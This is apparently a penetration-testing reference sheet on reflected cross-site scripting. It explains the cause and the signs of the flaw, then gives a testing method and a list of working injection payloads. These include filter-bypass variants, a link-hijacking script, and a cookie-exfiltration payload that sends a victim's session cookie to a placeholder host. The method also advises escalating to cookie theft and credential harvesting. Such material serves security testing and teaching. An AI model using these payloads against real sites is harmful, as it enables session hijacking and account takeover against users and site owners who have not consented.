xss-reflected

Reflected Cross-Site Scripting (XSS)

What Is Broken and Why

Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clicking a crafted link. The root cause is missing context-aware output encoding.

Key Signals

• Input parameter value appears verbatim in the HTML response source
• Special characters <, >, ", ', & are not HTML-encoded in responses
• JavaScript context: input reflected inside <script> blocks or event handlers without escaping ', ", \
• Error messages or page titles echoing raw query strings
• HTTP headers (User-Agent, Referer) reflected in error pages

Methodology

1. Map all input vectors: URL parameters, POST body fields, hidden form fields, HTTP headers, cookie values.
2. Submit a canary string (e.g., xss12345) and search the response for its unencoded presence.
3. Identify the HTML context of the reflection: tag body, attribute, script block, URL, CSS.
4. Craft a context-appropriate payload:
   • Tag body: <script>alert(1)</script>
   • Attribute: " onfocus="alert(1) or " onmouseover="alert(1)
   • Script block: ';alert(1)//
   • URL context: javascript:alert(1)
5. Test filter bypass variants if initial payloads are blocked.
6. Verify execution in a real browser (not just source inspection).
7. Escalate to cookie theft, credential harvesting, or redirect payloads.

Payloads & Tools

# Basic tag-body injection
TARGET/page?user=<script>alert(1)</script>

# Attribute context break-out
TARGET/page?user="><script>alert(document.cookie)</script>
TARGET/page?user=" onfocus="alert(1)" autofocus="

# Script block context
TARGET/page?user=';alert(document.cookie)//

# Cookie exfiltration
TARGET/page?user=<script>document.location='http://VICTIM/steal?c='+document.cookie</script>

# Link manipulation via onload
TARGET/page?user=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malicious';}</script>

# Filter bypass: case variation
TARGET/page?user="><ScRiPt>alert(1)</ScRiPt>

# Filter bypass: space in tag
TARGET/page?user="><script >alert(1)</script >

# Filter bypass: URL encoding
TARGET/page?user=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E

# Filter bypass: double-encoded
TARGET/page?user=%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E

# Filter bypass: non-recursive filter
TARGET/page?user=<scr<script>ipt>alert(1)</script>

# HTTP Parameter Pollution
TARGET/page?param=<script&param=>alert(1)</&param=script>

# Burp Suite Intruder with XSS payloads wordlist
# Load: Intruder -> Payloads -> Load fuzz-XSS.txt from SecLists